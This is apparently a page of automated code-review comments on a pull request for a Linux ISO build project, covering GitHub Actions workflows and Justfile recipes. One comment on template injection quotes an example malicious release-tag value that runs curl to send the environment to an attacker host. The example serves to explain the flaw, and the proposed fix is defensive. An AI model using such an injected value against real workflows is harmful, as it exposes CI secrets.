| name: Build LTS ISOs | |
| # ⚠️ CRITICAL WARNING: LTS ISOs ARE CURRENTLY BROKEN ⚠️ | |
| # The Anaconda installer is broken for LTS variants. Do not re-enable the | |
| # schedule or promote any LTS builds to production until the breakage is resolved. | |
| # Safe testing: Run manually with upload_r2: false to test fixes without uploading. | |
| # This workflow ONLY builds LTS ISOs (not GTS, Stable, or LTS-HWE) | |
| # Builds: 4 LTS ISOs | |
| # - amd64 × main | |
| # - amd64 × gdx | |
| # - arm64 × main | |
| # - arm64 × gdx | |
| on: | |
| workflow_dispatch: |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/build-iso-lts.yml around lines 1 - 10, The workflow file
`build-iso-lts.yml` is missing required warning comments about LTS breakage
status in the header section. Add the warning comment block to the workflow
header that appears after the name field and before the existing comments about
what ISOs are built. The warning should inform users about the LTS breakage
status according to your project's guidelines for this workflow file, ensuring
the inline warning comments are properly included and not removed or altered.
Source: Coding guidelines
| schedule: | ||
| - cron: '0 2 1 * *' # 2am UTC on the 1st of every month |
There was a problem hiding this comment.
Schedule must be disabled — LTS ISOs are broken.
The guideline explicitly states: "Do NOT re-enable the build-iso-lts.yml schedule — LTS ISOs are currently broken and the schedule must remain commented out to prevent automatic execution."
🚫 Proposed fix: comment out the schedule and add warning
+ # ⚠️ CRITICAL WARNING: LTS ISOs ARE CURRENTLY BROKEN ⚠️
+ # Do NOT uncomment the schedule below until:
+ # 1. The Anaconda breakage is resolved
+ # 2. Test builds succeed end-to-end with upload_r2: false
+ # 3. ISOs are manually inspected before any production promotion
+ # Building LTS ISOs with upload_r2: false (artifacts only) is safe for testing.
+ #
- schedule:
- - cron: '0 2 1 * *' # 2am UTC on the 1st of every month
+ # schedule:
+ # - cron: '0 2 1 * *' # 2am UTC on the 1st of every month📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| schedule: | |
| - cron: '0 2 1 * *' # 2am UTC on the 1st of every month | |
| # ⚠️ CRITICAL WARNING: LTS ISOs ARE CURRENTLY BROKEN ⚠️ | |
| # Do NOT uncomment the schedule below until: | |
| # 1. The Anaconda breakage is resolved | |
| # 2. Test builds succeed end-to-end with upload_r2: false | |
| # 3. ISOs are manually inspected before any production promotion | |
| # Building LTS ISOs with upload_r2: false (artifacts only) is safe for testing. | |
| # | |
| # schedule: | |
| # - cron: '0 2 1 * *' # 2am UTC on the 1st of every month |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/build-iso-lts.yml around lines 26 - 27, The schedule block
containing the cron expression at lines 26-27 must be commented out to prevent
automatic execution of the build-iso-lts workflow, as LTS ISOs are currently
broken and non-functional. Comment out the entire schedule section (the lines
starting with "schedule:" and the cron expression) and add a comment explaining
that the schedule is disabled due to LTS ISO issues being broken, to ensure
future developers understand why the automation is intentionally disabled.
Source: Coding guidelines
| image_version: stable # Strictly builds Stable ISOs only | ||
| image_tag: stable | ||
| upload_artifacts: ${{ github.event_name == 'workflow_dispatch' && inputs.upload_artifacts || false }} | ||
| upload_r2: ${{ github.event_name == 'workflow_dispatch' && inputs.upload_r2 || true }} |
There was a problem hiding this comment.
Fix upload_r2 logic — user input is ignored.
The current expression github.event_name == 'workflow_dispatch' && inputs.upload_r2 || true always evaluates to true regardless of the inputs.upload_r2 value:
- When triggered by schedule:
(false && X) || true→true - When triggered manually with
upload_r2: true:(true && true) || true→true - When triggered manually with
upload_r2: false:(true && false) || true→true
The user input is completely ignored. This differs from the correct pattern used in all other workflows.
🔧 Proposed fix: align with other workflows
- upload_r2: ${{ github.event_name == 'workflow_dispatch' && inputs.upload_r2 || true }}
+ upload_r2: ${{ github.event_name != 'workflow_dispatch' || inputs.upload_r2 }}This matches the pattern in build-iso-all.yml, build-iso-lts-hwe.yml, and build-iso-lts.yml:
- Schedule trigger → always upload (
true) - Manual trigger → respect user input (
inputs.upload_r2)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/build-iso-stable.yml at line 30, The upload_r2 expression
has incorrect operator precedence causing it to always evaluate to true,
ignoring the user input completely. Fix the logic in the upload_r2 field by
restructuring the expression to properly handle both trigger scenarios: when the
event is not workflow_dispatch (schedule trigger, should upload as true) and
when it is workflow_dispatch (should respect the inputs.upload_r2 value). The
corrected expression should use the pattern that aligns with build-iso-all.yml,
build-iso-lts-hwe.yml, and build-iso-lts.yml where schedule triggers always
upload and manual triggers respect the user input.
| - name: Preflight checks | ||
| id: preflight | ||
| env: | ||
| GH_TOKEN: ${{ github.token }} | ||
| GH_REPO: ${{ github.repository }} | ||
| run: | | ||
| set -euo pipefail | ||
|
|
||
| if [ "${{ inputs.variant }}" = "lts" ] && [ "${{ inputs.allow_unsafe_lts }}" != "true" ]; then | ||
| echo "Refusing to promote variant 'lts' without inputs.allow_unsafe_lts=true" | ||
| exit 1 | ||
| fi | ||
|
|
||
| if [ -n "${{ inputs.release_tag }}" ]; then | ||
| SOURCE_TAG="${{ inputs.release_tag }}" | ||
| else | ||
| SOURCE_TAG=$(gh release list --limit 50 --json tagName,isPrerelease --jq '.[] | select(.isPrerelease == true) | .tagName' | sed -n '1p') | ||
| if [ -z "${SOURCE_TAG}" ]; then | ||
| echo "No prerelease found to promote" | ||
| exit 1 | ||
| fi | ||
| fi |
There was a problem hiding this comment.
Avoid direct template interpolation of user-supplied input in shell.
inputs.release_tag is directly interpolated into the shell script, which zizmor correctly flags as a template-injection vulnerability. A malicious tag value like "; curl attacker.com/exfil?$(env) # would execute arbitrary commands.
Pass the input through an environment variable to prevent shell metacharacter interpretation:
🔒 Proposed fix
- name: Preflight checks
id: preflight
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
+ INPUT_RELEASE_TAG: ${{ inputs.release_tag }}
run: |
set -euo pipefail
if [ "${{ inputs.variant }}" = "lts" ] && [ "${{ inputs.allow_unsafe_lts }}" != "true" ]; then
echo "Refusing to promote variant 'lts' without inputs.allow_unsafe_lts=true"
exit 1
fi
- if [ -n "${{ inputs.release_tag }}" ]; then
- SOURCE_TAG="${{ inputs.release_tag }}"
+ if [ -n "${INPUT_RELEASE_TAG}" ]; then
+ SOURCE_TAG="${INPUT_RELEASE_TAG}"
else📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Preflight checks | |
| id: preflight | |
| env: | |
| GH_TOKEN: ${{ github.token }} | |
| GH_REPO: ${{ github.repository }} | |
| run: | | |
| set -euo pipefail | |
| if [ "${{ inputs.variant }}" = "lts" ] && [ "${{ inputs.allow_unsafe_lts }}" != "true" ]; then | |
| echo "Refusing to promote variant 'lts' without inputs.allow_unsafe_lts=true" | |
| exit 1 | |
| fi | |
| if [ -n "${{ inputs.release_tag }}" ]; then | |
| SOURCE_TAG="${{ inputs.release_tag }}" | |
| else | |
| SOURCE_TAG=$(gh release list --limit 50 --json tagName,isPrerelease --jq '.[] | select(.isPrerelease == true) | .tagName' | sed -n '1p') | |
| if [ -z "${SOURCE_TAG}" ]; then | |
| echo "No prerelease found to promote" | |
| exit 1 | |
| fi | |
| fi | |
| - name: Preflight checks | |
| id: preflight | |
| env: | |
| GH_TOKEN: ${{ github.token }} | |
| GH_REPO: ${{ github.repository }} | |
| INPUT_RELEASE_TAG: ${{ inputs.release_tag }} | |
| run: | | |
| set -euo pipefail | |
| if [ "${{ inputs.variant }}" = "lts" ] && [ "${{ inputs.allow_unsafe_lts }}" != "true" ]; then | |
| echo "Refusing to promote variant 'lts' without inputs.allow_unsafe_lts=true" | |
| exit 1 | |
| fi | |
| if [ -n "${INPUT_RELEASE_TAG}" ]; then | |
| SOURCE_TAG="${INPUT_RELEASE_TAG}" | |
| else | |
| SOURCE_TAG=$(gh release list --limit 50 --json tagName,isPrerelease --jq '.[] | select(.isPrerelease == true) | .tagName' | sed -n '1p') | |
| if [ -z "${SOURCE_TAG}" ]; then | |
| echo "No prerelease found to promote" | |
| exit 1 | |
| fi | |
| fi |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 70-70: shellcheck reported issue in this script: SC2129:style:133:1: Consider using { cmd1; cmd2; } >> file instead of individual redirects
(shellcheck)
🪛 zizmor (1.25.2)
[error] 78-78: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 78-78: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/promote-iso.yml around lines 65 - 86, The
template-injection vulnerability exists because inputs.release_tag is directly
interpolated into the shell script using ${{ inputs.release_tag }}, allowing
potential shell metacharacter injection. Fix this by adding inputs.release_tag
as an environment variable in the env section of the Preflight checks step
(alongside GH_TOKEN and GH_REPO), then reference that environment variable in
the shell script instead of using direct template interpolation. Update the
conditional check from [ -n "${{ inputs.release_tag }}" ] to use the new
environment variable, and similarly update the SOURCE_TAG assignment to use the
environment variable instead of the template expression.
Source: Linters/SAST tools
| for GROUP_ADD in "${GROUPS_ADD[@]}" ; do | ||
| append_group $GROUP_ADD | ||
| usermod -aG $GROUP_ADD {{ `id -un` }} | ||
| done |
There was a problem hiding this comment.
id -un evaluated at Justfile parse time, not at recipe execution time.
The {{ id -un }} syntax causes the username to be captured when the Justfile is parsed, not when the recipe runs. Since this recipe runs via pkexec (as root), the username should be the original invoking user, but if the Justfile is parsed by root (e.g., during sudo just dx-group), the wrong username could be used.
Proposed fix - use SUDO_USER or PKEXEC_UID
+ # Get the original user (pkexec sets PKEXEC_UID)
+ if [[ -n "${PKEXEC_UID:-}" ]]; then
+ ORIG_USER=$(getent passwd "$PKEXEC_UID" | cut -d: -f1)
+ elif [[ -n "${SUDO_USER:-}" ]]; then
+ ORIG_USER="$SUDO_USER"
+ else
+ ORIG_USER=$(id -un)
+ fi
+
for GROUP_ADD in "${GROUPS_ADD[@]}" ; do
append_group $GROUP_ADD
- usermod -aG $GROUP_ADD {{ `id -un` }}
+ usermod -aG $GROUP_ADD "$ORIG_USER"
done📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| for GROUP_ADD in "${GROUPS_ADD[@]}" ; do | |
| append_group $GROUP_ADD | |
| usermod -aG $GROUP_ADD {{ `id -un` }} | |
| done | |
| # Get the original user (pkexec sets PKEXEC_UID) | |
| if [[ -n "${PKEXEC_UID:-}" ]]; then | |
| ORIG_USER=$(getent passwd "$PKEXEC_UID" | cut -d: -f1) | |
| elif [[ -n "${SUDO_USER:-}" ]]; then | |
| ORIG_USER="$SUDO_USER" | |
| else | |
| ORIG_USER=$(id -un) | |
| fi | |
| for GROUP_ADD in "${GROUPS_ADD[@]}" ; do | |
| append_group $GROUP_ADD | |
| usermod -aG $GROUP_ADD "$ORIG_USER" | |
| done |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@just/bluefin-system.just` around lines 106 - 109, The `{{ `id -un` }}` syntax
is evaluated when the Justfile is parsed (potentially as root), not when the
recipe runs, causing the wrong username to be captured if the Justfile is parsed
by root. Replace the parse-time evaluation with a runtime evaluation that
captures the original invoking user's username. Use environment variables that
are set by privilege escalation tools at runtime such as SUDO_USER (set by sudo)
or PKEXEC_UID (set by pkexec). Instead of `{{ `id -un` }}` in the usermod
command within the loop that calls append_group, directly reference the
appropriate environment variable or store it in a recipe variable that evaluates
at runtime to ensure the original user's username is used regardless of when the
Justfile is parsed.
| # Clean Repo | ||
| [group('Utility')] | ||
| clean: | ||
| #!/usr/bin/bash | ||
| set -eoux pipefail | ||
| touch _build | ||
| find *_build* -exec rm -rf {} \; | ||
| rm -f previous.manifest.json | ||
| rm -f changelog.md | ||
| rm -f output.env |
There was a problem hiding this comment.
Unsafe find pattern may match unintended files.
The pattern *_build* can match any file containing _build in the current directory. Combined with rm -rf, this could accidentally delete unintended files if the working directory contains other matching entries.
Consider using a more specific pattern or a safer approach:
Proposed safer cleanup
clean:
#!/usr/bin/bash
set -eoux pipefail
- touch _build
- find *_build* -exec rm -rf {} \;
+ # Clean known build output directories
+ for dir in *_build; do
+ [[ -d "$dir" ]] && rm -rf "$dir"
+ done
rm -f previous.manifest.json
rm -f changelog.md
rm -f output.env📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Clean Repo | |
| [group('Utility')] | |
| clean: | |
| #!/usr/bin/bash | |
| set -eoux pipefail | |
| touch _build | |
| find *_build* -exec rm -rf {} \; | |
| rm -f previous.manifest.json | |
| rm -f changelog.md | |
| rm -f output.env | |
| # Clean Repo | |
| [group('Utility')] | |
| clean: | |
| #!/usr/bin/bash | |
| set -eoux pipefail | |
| # Clean known build output directories | |
| for dir in *_build; do | |
| [[ -d "$dir" ]] && rm -rf "$dir" | |
| done | |
| rm -f previous.manifest.json | |
| rm -f changelog.md | |
| rm -f output.env |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@Justfile` around lines 55 - 64, The find command pattern `*_build*` in the
clean target is too broad and could unintentionally match and delete files
outside the intended build directories. Refactor the find command to be more
specific by explicitly specifying the search location with `.` as the starting
directory, using the `-name` flag to match the pattern, and restricting matches
to directories only with `-type d`. This ensures only directories containing
`_build` in their name are targeted for deletion, making the cleanup operation
safer and more predictable.
|
|
||
| # Cleanup | ||
| rm -rf "${OUT_NAME}*" | ||
| rm -f previous.manifest.json |
There was a problem hiding this comment.
Glob inside quotes won't expand; cleanup may be incomplete.
The pattern "${OUT_NAME}*" will be treated as a literal string, not a glob, so only a file literally named ${OUT_NAME}* would be removed. The actual OCI directory and related files won't be deleted.
Proposed fix
# Cleanup
- rm -rf "${OUT_NAME}*"
+ rm -rf "${OUT_NAME}"* "${OUT_NAME}"
rm -f previous.manifest.json📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Cleanup | |
| rm -rf "${OUT_NAME}*" | |
| rm -f previous.manifest.json | |
| # Cleanup | |
| rm -rf "${OUT_NAME}"* "${OUT_NAME}" | |
| rm -f previous.manifest.json |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@Justfile` around lines 430 - 433, The glob pattern in the cleanup section
uses double quotes around `"${OUT_NAME}*"`, which prevents shell expansion of
the asterisk wildcard, causing only a literal file named with an asterisk to be
targeted instead of all matching files. Remove the double quotes from around the
glob pattern in the rm -rf command so the shell can properly expand
`${OUT_NAME}*` to match all related files for deletion.
| # Fedora Version | ||
| # if [[ "$tag" != lts ]]; then | ||
| # FEDORA_VERSION=$(${PODMAN} inspect ${IMAGE_FULL} | jq -r '.[]["Config"]["Labels"]["ostree.linux"]' | grep -oP 'fc\K[0-9]+') | ||
| # else | ||
| FEDORA_VERSION=42 | ||
| # fi |
There was a problem hiding this comment.
Hardcoded Fedora version bypasses dynamic detection.
FEDORA_VERSION=42 is hardcoded with the dynamic detection commented out. This will cause incorrect ISO builds when the base image uses a different Fedora version.
Proposed fix - restore dynamic detection
# Fedora Version
- # if [[ "$tag" != lts ]]; then
- # FEDORA_VERSION=$(${PODMAN} inspect ${IMAGE_FULL} | jq -r '.[]["Config"]["Labels"]["ostree.linux"]' | grep -oP 'fc\K[0-9]+')
- # else
- FEDORA_VERSION=42
- # fi
+ if [[ "$tag" =~ lts ]]; then
+ # LTS images are CentOS-based, default to Fedora 42 for Anaconda
+ FEDORA_VERSION=42
+ else
+ FEDORA_VERSION=$(${PODMAN} inspect ${IMAGE_FULL} | jq -r '.[]["Config"]["Labels"]["ostree.linux"]' | grep -oP 'fc\K[0-9]+')
+ fi📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| # Fedora Version | |
| # if [[ "$tag" != lts ]]; then | |
| # FEDORA_VERSION=$(${PODMAN} inspect ${IMAGE_FULL} | jq -r '.[]["Config"]["Labels"]["ostree.linux"]' | grep -oP 'fc\K[0-9]+') | |
| # else | |
| FEDORA_VERSION=42 | |
| # fi | |
| # Fedora Version | |
| if [[ "$tag" =~ lts ]]; then | |
| # LTS images are CentOS-based, default to Fedora 42 for Anaconda | |
| FEDORA_VERSION=42 | |
| else | |
| FEDORA_VERSION=$(${PODMAN} inspect ${IMAGE_FULL} | jq -r '.[]["Config"]["Labels"]["ostree.linux"]' | grep -oP 'fc\K[0-9]+') | |
| fi |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@Justfile` around lines 490 - 495, The FEDORA_VERSION variable is hardcoded to
42 instead of using dynamic detection based on the actual base image. Uncomment
the conditional block that starts with if [[ "$tag" != lts ]]; then and restore
the dynamic detection logic using podman inspect with jq and grep to extract the
Fedora version from the image labels (ostree.linux). Remove or conditionally
replace the hardcoded FEDORA_VERSION=42 so that it only applies as a fallback
when the tag equals lts, allowing the dynamic detection to determine the correct
version for other scenarios.
| # Build ISO | ||
| iso_build_args=() | ||
| iso_build_args+=("--rm" "--privileged" "--pull=${PULL_POLICY}") | ||
| if [[ "{{ ghcr }}" == "0" ]]; then | ||
| iso_build_args+=( | ||
| "--security-opt=label=disable" | ||
| "--volume=/var/lib/containers/storage:/var/lib/containers/storage" | ||
| ) | ||
| fi | ||
|
|
||
| curl -Lo iso_files/bluefin.repo https://copr.fedorainfracloud.org/coprs/ublue-os/bluefin/repo/fedora-${FEDORA_VERSION}/ublue-os-bluefin-fedora-${FEDORA_VERSION}.repo | ||
| iso_build_args+=("--volume=${PWD}:/github/workspace/") | ||
| iso_build_args+=(ARCH="$(uname -m)") | ||
| iso_build_args+=(REPOS="/github/workspace/iso_files/bluefin.repo /etc/yum.repos.d/fedora.repo /etc/yum.repos.d/fedora-updates.repo") | ||
| iso_build_args+=(ENROLLMENT_PASSWORD="universalblue") | ||
| iso_build_args+=(FLATPAK_REMOTE_REFS_DIR="/github/workspace/${build_dir}") | ||
| iso_build_args+=(IMAGE_NAME="${image_name}") | ||
| iso_build_args+=(IMAGE_REPO="${IMAGE_REPO}") | ||
| iso_build_args+=(IMAGE_SIGNED="true") | ||
| if [[ "{{ ghcr }}" == "0" ]]; then | ||
| iso_build_args+=(IMAGE_SRC="containers-storage:${IMAGE_FULL}") | ||
| fi | ||
| iso_build_args+=(IMAGE_TAG="${tag}") | ||
| iso_build_args+=(ISO_NAME="/github/workspace/${build_dir}/${image_name}-${tag}-$(uname -m).iso") | ||
| iso_build_args+=(SECURE_BOOT_KEY_URL="https://github.com/ublue-os/akmods/raw/main/certs/public_key.der") | ||
| iso_build_args+=(VARIANT="Silverblue") | ||
| iso_build_args+=(VERSION="${FEDORA_VERSION}") | ||
| iso_build_args+=(WEB_UI="false") | ||
|
|
||
| ${SUDOIF} ${PODMAN} run "${iso_build_args[@]}" |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Verify if there's a titanoboa image reference elsewhere or if this is intentional
rg -n "titanoboa" --type-add 'just:*.just' --type-add 'justfile:Justfile'
rg -n "ghcr.io.*titanoboa" .Repository: projectbluefin/iso
Length of output: 811
🏁 Script executed:
#!/bin/bash
# Get the full context around lines 557-586 in Justfile
wc -l Justfile
head -600 Justfile | tail -100Repository: projectbluefin/iso
Length of output: 4121
🏁 Script executed:
#!/bin/bash
# Search for IMAGE_FULL definition and usage in Justfile
rg -n "IMAGE_FULL" Justfile | head -30
# Also search for any titanoboa image references in Justfile
rg -n "titanoboa\|image.*titanoboa" JustfileRepository: projectbluefin/iso
Length of output: 694
🏁 Script executed:
#!/bin/bash
# Search for any TITANOBOA references or variable definitions in Justfile
rg -n "TITANOBOA\|iso.*image\|iso_image" Justfile
# Look for the complete recipe containing the iso build to understand context better
sed -n '520,590p' JustfileRepository: projectbluefin/iso
Length of output: 3339
🏁 Script executed:
#!/bin/bash
# Check hack/local-iso-build.sh to see how it handles ISO image
sed -n '80,95p' hack/local-iso-build.sh
# Search for any ISO-related image variables or references
rg -n "ISO.*image\|image.*ISO\|build.*ISO" Justfile -iRepository: projectbluefin/iso
Length of output: 772
🏁 Script executed:
#!/bin/bash
# Look for any image building references or Containerfile references in Justfile
rg -n "Containerfile\|Dockerfile\|container.*build\|build.*container" Justfile -i
# Check if there's any reference to what image name should be used for ISO build
rg -n "quay.io\|docker.io\|ghcr.io" Justfile
# Look at the beginning of the build-iso recipe to see variable assignments
sed -n '450,510p' JustfileRepository: projectbluefin/iso
Length of output: 2147
🏁 Script executed:
#!/bin/bash
# Check the titanoboa repository to understand what container image it expects
# First, let's see if there's any documentation about the ISO build image
# Look for any GitHub Actions workflow or CI config that might show what image is used
find . -name "*.yml" -o -name "*.yaml" | grep -E "github|workflow|ci" | head -10
# Also check if there are any references to container building in the repo
rg -n "container\|image" .github/ 2>/dev/null | head -20Repository: projectbluefin/iso
Length of output: 438
🏁 Script executed:
#!/bin/bash
# Check the reusable workflow for ISO build to see what image is used
cat .github/workflows/reusable-build-iso-anaconda.yml
# Also check one of the main build workflows
head -100 .github/workflows/build-iso-all.ymlRepository: projectbluefin/iso
Length of output: 21320
🏁 Script executed:
#!/bin/bash
# Check if there's any documentation or container file related to ISO building in this repo
find . -name "*[Cc]ontainerfile*" -o -name "*[Dd]ockerfile*" | head -20
# Search for any ISO-related image references or documentation
rg -n "ISO.*builder\|builder.*image\|iso.*container" -i
# Look for any .md documentation that mentions the ISO build process
find . -name "*.md" -type f -exec grep -l "ISO.*build\|iso.*container\|podman.*run" {} \; | head -5Repository: projectbluefin/iso
Length of output: 86
🏁 Script executed:
#!/bin/bash
# Check README for ISO build documentation
rg -n -A 10 "ISO.*build\|podman.*run" README.md | head -50
# Check AGENTS.md for ISO building documentation
rg -n -A 10 "ISO.*build\|podman.*run\|titanoboa" AGENTS.md | head -50Repository: projectbluefin/iso
Length of output: 44
🏁 Script executed:
#!/bin/bash
# Check the README for build instructions
grep -n "build-iso\|ISO\|podman" README.md | head -30
# Look at AGENTS.md for ISO build details
grep -n "build-iso\|ISO\|podman" AGENTS.md | head -30
# Check if there's any inline documentation in the Justfile about the iso_build_args
sed -n '540,590p' Justfile | grep -B 5 -A 5 "podman run"Repository: projectbluefin/iso
Length of output: 4812
🏁 Script executed:
#!/bin/bash
# Let's check the hack/local-iso-build.sh to see what image it uses or expects
cat hack/local-iso-build.shRepository: projectbluefin/iso
Length of output: 6875
Container image reference missing from podman run command for ISO build.
The iso_build_args array on line 557-585 is built with podman options and environment variables but the ${SUDOIF} ${PODMAN} run "${iso_build_args[@]}" command at line 586 does not specify a container image to run, which will cause the command to fail.
The environment variables passed (ARCH, REPOS, IMAGE_NAME, IMAGE_SRC, VARIANT, VERSION, etc.) indicate this should invoke an ISO builder image. Add the image reference as the last element of the array before the podman run command executes. Based on the titanoboa builder referenced in the repository, this is likely a titanoboa-compatible ISO builder image, but the exact image name and tag should be verified against your build configuration and available image registries.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@Justfile` around lines 557 - 586, The podman run command at the end of the
iso_build_args array construction is missing the required container image
reference. Add the container image reference to the iso_build_args array (or
append it directly to the podman run command) that will be used to build the
ISO. Based on the environment variables being passed (ARCH, REPOS, IMAGE_NAME,
VARIANT, VERSION, etc.), this should be a titanoboa-compatible ISO builder
image. The exact image name and tag should be verified against your build
configuration and available registries, then appended as the final argument
before the podman run command executes.
Reverts #61
Summary by CodeRabbit
New Features
Bug Fixes
Documentation